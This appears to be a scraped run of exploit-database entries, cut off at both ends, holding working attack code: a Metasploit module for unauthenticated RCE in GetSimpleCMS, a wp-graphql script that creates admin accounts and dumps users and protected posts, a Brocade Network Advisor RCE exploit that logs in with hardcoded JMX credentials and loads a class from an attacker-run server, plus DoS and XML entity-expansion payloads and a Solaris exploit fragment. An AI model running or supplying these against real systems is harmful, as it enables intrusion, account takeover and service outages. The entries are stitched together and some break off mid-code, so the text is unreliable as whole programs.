env_len++; } return(env_len); } /* * check_zero(): check an address for the presence of a 0x00 */ void check_zero(int addr, char *pattern) { if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); exit(1); } } /* * search_ldso(): search for a symbol inside ld.so.1 */ int search_ldso(char *sym) { int addr; void *handle; Link_map *lm; /* open the executable object file */ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlopen"); exit(1); } /* get dynamic load information */ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); exit(1); } /* search for the address of the symbol */ if ((addr = (int)dlsym(handle, sym)) == NULL) { fprintf(stderr, "sorry, function %s() not found\n", sym); exit(1); } /* close the executable object file */ dlclose(handle); check_zero(addr - 4, sym); return(addr); } /* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */ int search_rwx_mem(void) { int fd; char tmp[16]; prmap_t map; int addr = 0, addr_old; /* open the proc filesystem */ sprintf(tmp,"/proc/%d/map", (int)getpid()); if ((fd = open(tmp, O_RDONLY)) < 0) { fprintf(stderr, "can't open %s\n", tmp); exit(1); } /* search for the last RWX memory segment before stack (last - 1) */ while (read(fd, &map, sizeof(map))) if (map.pr_vaddr) if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { addr_old = addr; addr = map.pr_vaddr; } close(fd); /* add 4 to the exact address NULL bytes */ if (!(addr_old & 0xff)) addr_old |= 0x04; if (!(addr_old & 0xff00)) addr_old |= 0x0400; return(addr_old); } /* * set_val(): copy a dword inside a buffer */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0xff000000) >> 24; buf[pos + 1] = (val & 0x00ff0000) >> 16; buf[pos + 2] = (val & 0x0000ff00) >> 8; buf[pos + 3] = (val & 0x000000ff); }
  12. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "GetSimpleCMS Unauthenticated RCE", 'Description' => %q{ This module exploits a vulnerability found in GetSimpleCMS, which allows unauthenticated attackers to perform Remote Code Execution. An arbitrary file upload (PHPcode for example) vulnerability can be triggered by an authenticated user, however authentication can be bypassed by leaking the cms API key to target the session manager. }, 'License' => MSF_LICENSE, 'Author' => [ 'truerand0m' # Discovery, exploit and Metasploit from Khalifazo,incite_team ], 'References' => [ ['CVE', '2019-11231'], ['URL', 'https://ssd-disclosure.com/archives/3899/ssd-advisory-getcms-unauthenticated-remote-code-execution'], ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['GetSimpleCMS 3.3.15 and before', {}] ], 'Privileged' => false, 'DisclosureDate' => "Apr 28 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the cms', '/']) ]) end def gscms_version res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', '/') ) return unless res && res.code == 200 generator = res.get_html_document.at( '//script[@type = "text/javascript"]/@src' ) fail_with(Failure::NotFound, 'Failed to retrieve generator') unless generator vers = generator.value.split('?v=').last.gsub(".","") return unless vers @version = vers end def get_salt uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml') res = send_request_cgi( 'method' => 'GET', 'uri' => uri ) return unless res && res.code == 200 fail_with(Failure::NotFound, 'Failed to retrieve salt') if res.get_xml_document.at('apikey').nil? @salt = res.get_xml_document.at('apikey').text end def get_user uri = normalize_uri(target_uri.path, 'data', 'users' ,'/') res = send_request_cgi( 'method' => 'GET', 'uri' => uri ) return unless res && res.code == 200 fail_with(Failure::NotFound, 'Failed to retrieve username') if res.get_html_document.at('[text()*="xml"]').nil? @username = res.get_html_document.at('[text()*="xml"]').text.split('.xml').first end def gen_cookie(version,salt,username) cookie_name = "getsimple_cookie_#{version}" sha_salt_usr = Digest::SHA1.hexdigest("#{username}#{salt}") sha_salt_cookie = Digest::SHA1.hexdigest("#{cookie_name}#{salt}") @cookie = "GS_ADMIN_USERNAME=#{username};#{sha_salt_cookie}=#{sha_salt_usr}" end def get_nonce(cookie) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri,'admin','theme-edit.php'), 'cookie' => cookie, 'vars_get' => { 't' => 'Innovation', 'f' => 'Default Template', 's' => 'Edit' } }) fail_with(Failure::NotFound, 'Failed to retrieve nonce') if res.get_html_document.at('//input[@id = "nonce"]/@value').nil? @nonce = res.get_html_document.at('//input[@id = "nonce"]/@value') end def exploit unless check == CheckCode::Vulnerable fail_with(Failure::NotVulnerable, 'It appears that the target is not vulnerable') end version = gscms_version salt = get_salt username = get_user cookie = gen_cookie(version,salt,username) nonce = get_nonce(cookie) fname = "#{rand_text_alpha(6..16)}.php" php = %Q|<?php #{payload.encoded} ?>| upload_file(cookie,nonce,fname,php) send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,'theme',fname), }) end def check version = gscms_version unless version return CheckCode::Safe end vprint_status "GetSimpleCMS version #{version}" unless vulnerable return CheckCode::Detected end CheckCode::Vulnerable end def vulnerable uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml') res = send_request_cgi( 'method' => 'GET', 'uri' => uri ) return unless res && res.code == 200 uri = normalize_uri(target_uri.path, 'data', 'users', '/') res = send_request_cgi( 'method' => 'GET', 'uri' => uri ) return unless res && res.code == 200 return true end def upload_file(cookie,nonce,fname,content) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'admin','theme-edit.php'), 'cookie' => cookie, 'vars_post' => { 'submitsave' => 2, 'edited_file' => fname, 'content' => content, 'nonce' => nonce } }) end end
  13. # Exploit Title: TL-WR840N v5 00000005 # Date: 5/10/2019 # Exploit Author: purnendu ghosh # Vendor Homepage: https://www.tp-link.com/ # Software Link: https://www.amazon.in/TP-LINK-TL-WR840N-300Mbps-Wireless-External/dp/B01A0G1J7Q # Category: Hardware # Firmware Version:0.9.1 3.16 v0001.0 Build 171211 Rel.58800n # Hardware Version:TL-WR840N v5 00000005 # Tested on: Windows 10 # CVE :CVE-2019-12195. # Proof Of Concept: TP-Link TL-WR840N v5 00000005 devices allow XSS via the network name. The attacker must log into the router by breaking the password and going to the admin login page by THC-HYDRA to get the network name. With an XSS payload, the network name changed automatically and the internet connection was disconnected. All the users become disconnected from the internet. ------------------------------------------ [Additional Information] To ensure your network to be safe from Renaming and internet disconnection. ------------------------------------------ [Vulnerability Type] Cross Site Scripting (XSS) ------------------------------------------ [Vendor of Product] tp-link ------------------------------------------ [Affected Product Code Base] router - TL-WR840N v5 00000005 ------------------------------------------ [Affected Component] Wi-Fi network configured through the router ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Denial of Service] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Logged in to the router by breaking the password and goes to the admin login page by THC-HYDRA and got the network name. Using Burp Suite professional version 1.7.32 captured the network name and selected XSS payload against the name and started attacking .as a result the network name changed automatically and internet connection was disconnected in the network. All the users become disconnected from internet. ------------------------------------------ [Discoverer] purnendu ghosh [Reference] https://www.tp-link.com/us/security
  14. See also https://bugs.chromium.org/p/project-zero/issues/detail?id=1699 for a similar issue. The DFG JIT compiler attempts to determine whether a DFG IR operation could cause garbage collection (GC) during its execution [1]. With this, it is then possible for the compiler to determine whether there could be a GC between point A and point B in a function, which in turn can be used to omit write barriers (see e.g. https://v8.dev/blog/concurrent-marking#reducing-marking-pause for an explanation of write barriers) [2]. For example, in case an (incremental) GC cannot happen between an allocation of an object and a property store to it, the write barrier after the property store can be omitted (because in that case the newly allocated object could not already have been marked, so must be white). However, if the analysis is incorrect and a GC can happen in between, then the emitted code can cause use-after-free issues, e.g. if an unmarked (white) object is assigned as property to an object that was marked during an unexpected GC (and is thus black). Since commit 9725889d5172a204aa1120e06be9eab117357f4b [3] "Add code to validate expected GC activity modelled by doesGC() against what the runtime encounters", JSC, in debug builds, asserts that the information computed by doesGC is correct: "In DFG::SpeculativeJIT::compile() and FTL::LowerDFGToB3::compileNode(), before emitting code / B3IR for each DFG node, we emit a write to set Heap::m_expectDoesGC to the value returned by doesGC() for that node. In the runtime (i.e. in allocateCell() and functions that can resolve a rope), we assert that Heap::m_expectDoesGC is true.". The following sample (found through fuzzing and then simplified), triggers such an assertion: function f(a) { return 0 in a; } for (let i = 0; i < 100000; i++) { const s = new String('asdf'); s[42] = 'x'; // Give it ArrayStorage f(s); } Here, the `in` operation is converted to a HasIndexedProperty DFG operation [4]. Since the String object has ArrayStorage (due to the additional element), DFGClobberize will report that it does not write to the heap [5]. Afterwards, doesGC reports that the operation cannot trigger GC [6]. However, during the execution of the operation (in the DFG JIT implemented by a call to operationHasIndexedPropertyByInt [7]) the code ends up in JSString::getIndex (to determine whether the index is valid in the underlying string), which can end up flattening a rope string, thus causing a heap allocation and thus potentially causing garbage collection. This is where, in debug builds, the assertion fails: ASSERTION FAILED: vm()->heap.expectDoesGC() ../../Source/JavaScriptCore/runtime/JSString.h(1023) : WTF::StringView JSC::JSString::unsafeView(JSC::ExecState *) const 1 0x10d67e769 WTFCrash 2 0x10bb6948b WTFCrashWithInfo(int, char const*, char const*, int) 3 0x10bba9e59 JSC::JSString::unsafeView(JSC::ExecState*) const 4 0x10bba9c6e JSC::JSString::getIndex(JSC::ExecState*, unsigned int) 5 0x10c712a24 JSC::JSString::getStringPropertySlot(JSC::ExecState*, unsigned int, JSC::PropertySlot&) 6 0x10d330b90 JSC::StringObject::getOwnPropertySlotByIndex(JSC::JSObject*, JSC::ExecState*, unsigned int, JSC::PropertySlot&) 7 0x10bbaa368 JSC::JSObject::getPropertySlot(JSC::ExecState*, unsigned int, JSC::PropertySlot&) 8 0x10d20d831 JSC::JSObject::hasPropertyGeneric(JSC::ExecState*, unsigned int, JSC::PropertySlot::InternalMethodType) const 9 0x10c70132f operationHasIndexedPropertyByInt
  15. #Exploit Title: Deluge 1.3.15 - 'URL' Denial of Service (PoC) #Discovery by: Victor Mondragón #Discovery Date: 2019-05-20 #Vendor Homepage: https://dev.deluge-torrent.org/ #Software Link: http://download.deluge-torrent.org/windows/deluge-1.3.15-win32-py2.7.exe #Tested Version: 1.3.15 #Tested on: Windows 7 Service Pack 1 x64 #Steps to produce the crash: #1.- Run python code: deluge_url.py #2.- Open deluge_url.txt and copy content to clipboard #3.- Open deluge.exe #4.- Select "File" > "Add Torrent" > "URL" #5.- In "From URL" field paste Clipboard #6.- Select "OK" #7.- Crashed cod = "\x41" * 5000 f = open('deluge_url.txt', 'w') f.write(cod) f.close()
  16. #Exploit Title: Deluge 1.3.15 - 'Webseeds' Denial of Service (PoC) #Discovery by: Victor Mondragón #Discovery Date: 2019-05-20 #Vendor Homepage: https://dev.deluge-torrent.org/ #Software Link: http://download.deluge-torrent.org/windows/deluge-1.3.15-win32-py2.7.exe #Tested Version: 1.3.15 #Tested on: Windows 7 Service Pack 1 x64 #Steps to produce the crash: #1.- Run python code: deluge_web.py #2.- Open deluge_web.txt and copy content to clipboard #3.- Open deluge.exe #4.- Select "File" > "Create Torrent" #5.- In "Webseeds" field paste Clipboard #6.- Crashed cod = "\x41" * 5000 f = open('deluge_web.txt', 'w') f.write(cod) f.close()
  17. # Exploit Title: Oracle CTI Web Service XML Entity Exp. # Exploit Author: omurugur # Author Web: https://www.justsecnow.com # Author Social: @omurugurrr URL : http://server/EBS_ASSET_HISTORY_OPERATIONS As can be seen in the following request / response example, the xml entity expansion attack can be performed, and this attack can send requests that exceed the existing memory and processor capacities, causing memory bottlenecks and preventing the service from running. 10kb more request is returned. Examples Request; POST /EBS_ASSET_HISTORY_OPERATIONS HTTP/1.1 Accept-Encoding: gzip, deflate Content-Type: text/xml;charset=UTF-8 SOAPAction: "getCampaignHistory" Content-Length: 1696 Host: **** User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: close <!DOCTYPE foo [<!ENTITY ha "Ha !"> <!ENTITY ha2 "&ha; &ha; &ha; &ha; &ha; &ha; &ha; &ha;"> <!ENTITY ha3 "&ha2; &ha2; &ha2; &ha2; &ha2; &ha2; &ha2; &ha2;"> <!ENTITY ha4 "&ha3; &ha3; &ha3; &ha3; &ha3; &ha3; &ha3; &ha3;"> <!ENTITY ha5 "&ha4; &ha4; &ha4; &ha4; &ha4; &ha4; &ha4; &ha4;"> <!ENTITY ha6 "&ha5; &ha5; &ha5; &ha5; &ha5; &ha5; &ha5; &ha5;"> ]><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ebs="http://server/om/EBS_ASSET_HISTORY_OPERATIONS" xmlns:ave="http://server/AveaFrameWo&ha6;rk"> <soapenv:Header/> <soapenv:Body> <ebs:EbsRetrieveWebChatHistoryRequest> <ave:RequestHeader> <ave:RequestId> <ave:GUID>152069827209115206982720</ave:GUID> </ave:RequestId> <ave:CallingSystem>SIEBEL</ave:CallingSystem> <ave:BusinessProcessId>retrieveWebChatHistory</ave:BusinessProcessId> </ave:RequestHeader> <ebs:RequestBody> <ebs:msisdn>5051234567</ebs:msisdn> </ebs:RequestBody> </ebs:EbsRetrieveWebChatHistoryRequest> </soapenv:Body> </soapenv:Envelope> Example Response1; HTTP/1.1 500 Internal Server Error Date: Tue, 17 Apr 2018 06:33:07 GMT Content-Type: text/xml; charset=utf-8 X-ORACLE-DMS-ECID: c55d8ba7-c405-4117-8a70-8b37f745e8f0-0000b9df X-ORACLE-DMS-RID: 0 Connection: close Content-Length: 328676 <?xml version="1.0" encoding="UTF-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header xmlns:ave="http://server/AveaFrameWoHa ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha ! Ha !rk" xmlns:ebs="http://server/om/EBS_ASSET_HISTORY_OPERATIONS"><soapenv:Fault><faultcode>soapenv:Server.SYS000000</faultcode><faultstring>Undefined Avea Service Bus Error</faultstring><detail><faul:ExceptionSchema xmlns:faul="http://server/Fault"><faul:UUID>MW-4b9f61d0-7792-4e54-a694-b9ef8c407b7e</faul:UUID><faul:Exception><faul:system>SYSTEM</faul:system><faul:code>OSB-382510</faul:code><faul:message>SYS000000:Undefined Avea Service Bus Error</faul:message><faul:stackTrace>PipelinePairNodePipelinePairNode_requestDynamic Validationrequest-pipelinetrue</faul:stackTrace></faul:Exception></faul:ExceptionSchema></detail></soapenv:Fault></soapenv:Body></soapenv:Envelope>
  18. #!/usr/bin/env python # # Author: Simone Quatrini of Pen Test Partners # CVEs: 2019-9879, 2019-9880, 2019-9881 # Tested on Wordpress 5.1.1 and wp-graphql 0.2.3 # https://www.pentestpartners.com/security-blog/pwning-wordpress-graphql/ import argparse import requests import base64 import json import sys parser = argparse.ArgumentParser(description="wp-graphql <= 0.2.3 multi-exploit") parser.add_argument('--url', action='store', dest='url', required=True, help="wp-graphql endpoint. e.g.: http://localhost/wordpress/graphql") parser.add_argument('--post-comment', nargs=3, action='store', metavar=('postid','userid','commenttext'), dest='comment', required=False, help="Post comment impersonating a specific user. e.g.: --post-comment 2 1 Test") parser.add_argument('--register-admin', nargs=3, action='store', metavar=('email','password','username'), dest='register', required=False, help="Register a new admin user. e.g.: --register-admin [email protected] MySecretP@ssword hax0r") parser.add_argument('--verbose', '-v', action='store_true', required=False, help="Shows the full response") args = parser.parse_args() def show_plugins(url, headers, verbose): payload = {"query":"{plugins{edges{node{name,description,version}}}}"} response = requests.post(url, data=json.dumps(payload), headers=headers) if response.status_code == 200 and 'node' in response.text: print "[+] Installed plugins:" parsed = json.loads(response.text) for i in parsed['data']['plugins']['edges']: print i['node']['name']+" "+i['node']['version'] else: print "\n[-] Error code fetching plugins: ", response.status_code if verbose: print(response.text) def show_themes(url, headers, verbose): payload = {"query":"{themes{edges{node{name,description,version}}}}"} response = requests.post(url, data=json.dumps(payload), headers=headers) if response.status_code == 200 and 'node' in response.text: print "\n[+] Installed themes:" parsed = json.loads(response.text) for i in parsed['data']['themes']['edges']: print i['node']['name']+" "+str(i['node']['version']) else: print "\n[-] Error code fetching themes: ", response.status_code if verbose: print(response.text) def show_medias(url, headers, verbose): payload = {"query":"{mediaItems{edges{node{id,mediaDetails{file,sizes{file,height,mimeType,name,sourceUrl,width}},uri}}}}"} response = requests.post(url, data=json.dumps(payload), headers=headers) if response.status_code == 200 and 'node' in response.text: print "\n[+] Media items:" parsed = json.loads(response.text) for i in parsed['data']['mediaItems']['edges']: print "/wp-content/uploads/"+i['node']['mediaDetails']['file'] else: print "\n[-] Error code fetching media items: ", response.status_code if verbose: print(response.text) def show_users(url, headers, verbose): payload = {"query":"{users{edges{node{firstName,lastName,nickname,roles,email,userId,username}}}}"} response = requests.post(url, data=json.dumps(payload), headers=headers) if response.status_code == 200 and 'node' in response.text: print "\n[+] User list:" parsed = json.loads(response.text) for i in parsed['data']['users']['edges']: print "ID: "+str(i['node']['userId'])+" - Username: "+i['node']['username']+" - Email: "+i['node']['email']+" - Role: "+i['node']['roles'][0] else: print "\n[-] Error code fetching user list: ", response.status_code if verbose: print(response.text) def show_comments(url, headers, verbose): payload = {"query":"{comments(where:{includeUnapproved:[]}){edges{node{id,commentId,approved,content(format:RAW)}}}}"} response = requests.post(url, data=json.dumps(payload), headers=headers) if response.status_code == 200 and 'node' in response.text: print "\n[+] Comments list:" parsed = json.loads(response.text) for i in parsed['data']['comments']['edges']: print "ID: "+str(i['node']['commentId'])+" - Approved: "+str(i['node']['approved'])+" - Text: "+str(i['node']['content']) else: print "\n[-] Error code fetching comments list: ", response.status_code if verbose: print(response.text) def show_password_protected(url, headers, verbose): payload = {"query":"{posts(where:{hasPassword:true}){edges{node{title,id,content(format:RAW)}}}}"} response = requests.post(url, data=json.dumps(payload), headers=headers) if response.status_code == 200 and 'node' in response.text: print "\n[+] Found the following password protected post(s):" parsed = json.loads(response.text) for i in parsed['data']['posts']['edges']: print "ID: "+base64.b64decode(str(i['node']['id']))+" - Title: "+str(i['node']['title'])+" - Content: "+str(i['node']['content']) else: print "\n[-] No password protected post found" if verbose: print(response.text) payload = {"query":"{pages(where:{hasPassword:true}){edges{node{id,link,title,uri,content(format:RAW)}}}}"} response = requests.post(url, data=json.dumps(payload), headers=headers) if response.status_code == 200 and 'node' in response.text: print "\n[+] Found the following password protected page(s):" parsed = json.loads(response.text) for i in parsed['data']['pages']['edges']: print "ID: "+base64.b64decode(str(i['node']['id']))+" - Title: "+str(i['node']['title'])+" - Content: "+str(i['node']['content']) else: print "\n[-] No password protected page found" if verbose: print(response.text) def post_comment(url, headers, postID, userID, comment, verbose): payload = {"query":"mutation{createComment(input:{postId:"+postID+",userId:"+userID+",content:\""+comment+"\",clientMutationId:\"UWHATM8\",}){clientMutationId}}"} response = requests.post(url, data=json.dumps(payload), headers=headers) if response.status_code == 200 and 'UWHATM8' in response.text: print "[+] Comment posted on article ID "+postID+"" else: print "\n[-] Error posting the comment. Check that postID and userID are correct" if verbose: print(response.text) def register_admin(url, headers, email, password, username, verbose): payload = {"query":"mutation{registerUser(input:{clientMutationId:\"UWHATM8\",email:\""+email+"\",password:\""+password+"\",username:\""+username+"\",roles:[\"administrator\"]}){clientMutationId}}"} response = requests.post(url, data=json.dumps(payload), headers=headers) if response.status_code == 200 and 'UWHATM8' in response.text: print "[+] New admin created. Login with "+username+":"+password else: print "\n[-] Registrations are closed, can't proceed." if verbose: print(response.text) def check_endpoint(url, headers): payload = {'':''} response = requests.post(url, data=json.dumps(payload), headers=headers) if response.status_code == 200: print "[+] Endpoint is reachable\n" else: print "\n[-] Endpoint response code: ", response.status_code sys.exit() url = args.url headers = {'Content-type': 'application/json', 'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'} verbose = args.verbose # Only in case '--post-comment' is passed if args.comment: postID, userID, comment = args.comment check_endpoint(url, headers) post_comment(url, headers, postID, userID, comment, verbose) sys.exit() # Only in case '--register-admin' is passed if args.register: email, password, username = args.register check_endpoint(url, headers) register_admin(url, headers, email, password, username, verbose) sys.exit() # Default actions if only '--url' is passed show_plugins(url, headers, verbose) show_themes(url, headers, verbose) show_medias(url, headers, verbose) show_users(url, headers, verbose) show_comments(url, headers, verbose) show_password_protected(url, headers, verbose)
  19. /* Exploit Title: Brocade Network Advisor - Unauthenticated Remote Code Execution Date: 2017-03-29 Exploit Author: Jakub Palaczynski Vendor Homepage: https://www.broadcom.com/ CVE: CVE-2018-6443 Version: Tested on Brocade Network Advisor 14.X.X versions. Other may also be affected. Tested on EMC Connectrix Manager Converged Network Edition 14.4.1. Other may also be affected. IBM Network Advisor seems to also be affected. Info: Exploit uses hardcoded and undocumented credentials for JBoss JMX to execute arbitrary command on system. */ import javax.management.remote.*; import javax.management.*; import java.util.*; import java.lang.*; import java.io.*; import java.net.*; import com.sun.net.httpserver.*; import java.util.Scanner; import java.security.*; import java.security.cert.*; import javax.net.ssl.*; import javax.net.ssl.HostnameVerifier; import javax.net.ssl.HttpsURLConnection; import javax.net.ssl.SSLContext; import javax.net.ssl.SSLSession; import javax.net.ssl.TrustManager; import javax.net.ssl.X509TrustManager; import java.security.cert.X509Certificate; import java.util.regex.Pattern; import java.util.regex.Matcher; public class RemoteMbean { private static String JARNAME = "compr.jar"; private static String OBJECTNAMEA = "BNASupport:name=support,id=3434"; private static String OBJECTNAMEB = "BNASecurity:name=loader,id=3535"; private static String EVILCLASS = "com.expl.Evil"; private static String localIP; private static int localPort; private static String connString; private static String command; private static String username; private static String password; private static String host; private static int port; private static int jmxport; private static String tspwd; public static void main(String[] args) { try { if (args.length < 3) { showHelp(); } tspwd = "changeit"; // default Java keystore password host = args[0].split(":")[0]; // IP of BNA port = Integer.parseInt(args[0].split(":")[1]); // HTTPS port of BNA char SEP = File.separatorChar; String path = System.getProperty("java.home") + SEP + "lib" + SEP + "security"; File dir = new File(path); File file = new File(dir, "cacerts"); if (file.isFile() == false) { file = new File(dir, "jssecacerts"); path = path + SEP + "jssecacerts"; } else { path = path + SEP + "cacerts"; } // import SSL certificate into Java keystore checkCert(tspwd, file, path, host, port); // check if hardcoded password is still there and find JMX port jmxport = checkPwd(args[0]); if (jmxport == 0) { System.out.println("[-] Cannot find JMX port, trying default ..."); jmxport = 24604; } connString = "service:jmx:remote://" + host + ":" + jmxport + "/"; // connection string for JMX - if "Unsupported protocol" error then maybe should be changed to "remoting-jmx" command = args[1]; // command to execute localIP = args[2].split(":")[0]; // reverse IP address localPort = Integer.parseInt(args[2].split(":")[1]); // reverse port username = "admin"; // hardcoded username password = "no12see!"; // hardcoded password // starting HTTP server for serving mlet System.out.println("[+] Starting HTTP server."); HttpServer server = HttpServer.create(new InetSocketAddress(localPort), 0); server.createContext("/mlet", new MLetHandler()); server.createContext("/" + JARNAME, new JarHandler()); server.setExecutor(null); server.start(); // start exploitation connectAndOwn(connString, command, username, password); server.stop(0); // clean up Java keystore deleteCertificate(file, path, tspwd, host); } catch (Exception e) { e.printStackTrace(); } } static void showHelp() { System.out.println("HOWTO: java -cp ./jboss-cli-client.jar:. RemoteMbean IP:BNA_HTTPS_PORT/ \"COMMAND\" REVERSEIP:REVERSEPORT"); System.out.println("Example: java -cp ./jboss-cli-client.jar:. RemoteMbean 127.0.0.1:443 \"id\" 127.0.0.1:1234"); System.exit(0); } static boolean checkCert(String tspwd, File file, String path, String host, int port) { try { InputStream in = new FileInputStream(file); KeyStore ks = KeyStore.getInstance(KeyStore.getDefaultType()); ks.load( in , tspwd.toCharArray()); in .close(); SSLContext context = SSLContext.getInstance("TLS"); TrustManagerFactory tmf = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm()); tmf.init(ks); X509TrustManager defaultTrustManager = (X509TrustManager) tmf.getTrustManagers()[0]; SavingTrustManager tm = new SavingTrustManager(defaultTrustManager); context.init(null, new TrustManager[] { tm }, null); SSLSocketFactory factory = context.getSocketFactory(); System.out.println("[+] Checking certificate."); SSLSocket socket = (SSLSocket) factory.createSocket(host, port); socket.setSoTimeout(10000); try { socket.startHandshake(); socket.close(); System.out.println("[+] Certificate is already trusted."); return true; } catch (SSLException e) { // e.printStackTrace(System.out); // uncomment to see what SSL error occured } X509Certificate[] chain = tm.chain; if (chain == null) { System.out.println("[-] Failed to obtain certificate. Connection to JMX server may fail."); return false; } BufferedReader reader = new BufferedReader(new InputStreamReader(System.in)); MessageDigest sha1 = MessageDigest.getInstance("SHA1"); MessageDigest md5 = MessageDigest.getInstance("MD5"); for (int i = 0; i < chain.length; i++) { X509Certificate cert = chain[i]; sha1.update(cert.getEncoded()); md5.update(cert.getEncoded()); } X509Certificate cert = chain[0]; String alias = host; ks.setCertificateEntry(alias, cert); OutputStream out = new FileOutputStream(path); ks.store(out, tspwd.toCharArray()); out.close(); System.out.println("[+] Added certificate to " + path + " using alias '" + alias + "'"); } catch (Exception e) { e.printStackTrace(); } return true; } static int checkPwd(String target) { try { TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() { public java.security.cert.X509Certificate[] getAcceptedIssuers() { return null; } public void checkClientTrusted(X509Certificate[] certs, String authType) {} public void checkServerTrusted(X509Certificate[] certs, String authType) {} } }; SSLContext sc = SSLContext.getInstance("SSL"); sc.init(null, trustAllCerts, new java.security.SecureRandom()); HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); HostnameVerifier allHostsValid = new HostnameVerifier() { public boolean verify(String hostname, SSLSession session) { return true; } }; HttpsURLConnection.setDefaultHostnameVerifier(allHostsValid); // connect to BNA website System.out.println("[+] Connecting to BNA website."); URL url = new URL("https://" + target + "/dcm-client/dcmclient.jnlp"); HttpURLConnection con = (HttpURLConnection) url.openConnection(); con.setRequestMethod("GET"); BufferedReader in = new BufferedReader( new InputStreamReader(con.getInputStream())); String inputLine; StringBuffer content = new StringBuffer(); while ((inputLine = in .readLine()) != null) { content.append(inputLine); } in .close(); con.disconnect(); // check for hardcoded password if (!(content.indexOf("k62dCsMggeFy9oyf93Rujw==") >= 0)) { System.out.println("[-] Cannot find hardcoded credentials."); return 0; } else { System.out.println("[+] Hardcoded credentials confirmed."); } // retrieve JMX port Pattern p = Pattern.compile(Pattern.quote("jnlp.dcm.dcm.jmxport\"") + "(.*?)" + Pattern.quote(">")); Matcher m = p.matcher(content); while (m.find()) { System.out.println("[+] Found JMX port: " + m.group(1).split("\"")[1] + "."); return Integer.parseInt(m.group(1).split("\"")[1]); } } catch (Exception e) { e.printStackTrace(); return 0; } return 0; } static void connectAndOwn(String connString, String command, String username, String password) { JMXConnector c; try { JMXServiceURL u = new JMXServiceURL(connString); // connect and authenticate System.out.println("[+] Connecting using hardcoded credentials..."); Map env = new HashMap(); String[] creds = { username, password }; env.put(JMXConnector.CREDENTIALS, creds); c = JMXConnectorFactory.connect(u, env); System.out.println("[+] Successfully connected."); MBeanServerConnection m = c.getMBeanServerConnection(); // check if custom MBeans already exist ObjectInstance evil_bean = null; try { evil_bean = m.getObjectInstance(new ObjectName(OBJECTNAMEA)); } catch (Exception e) { evil_bean = null; } if (evil_bean == null) { ObjectInstance oi = null; ObjectName mletObjName = new ObjectName(OBJECTNAMEA); ObjectName mletLoaderName = new ObjectName(OBJECTNAMEB); System.out.println("[+] Registering MLet class."); try { oi = m.createMBean("javax.management.loading.MLet", mletLoaderName); } catch (javax.management.InstanceAlreadyExistsException e) { oi = m.getObjectInstance(new ObjectName(OBJECTNAMEB)); } System.out.println("[+] MLet class successfully registered."); System.out.println("[+] Downloading and registering custom class."); Object res = m.invoke(oi.getObjectName(), "getMBeansFromURL", new Object[] { String.format("http://%s:%d/mlet/", localIP, localPort) }, new String[] { String.class.getName() }); HashSet res_set = ((HashSet) res); Iterator itr = res_set.iterator(); Object nextObject = itr.next(); if (nextObject instanceof Exception) { throw ((Exception) nextObject); } evil_bean = ((ObjectInstance) nextObject); } System.out.println("[+] Custom class successfully registered."); System.out.println("[+] Running command.\n"); ObjectName plok = new ObjectName(OBJECTNAMEA); Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[] { command }, new 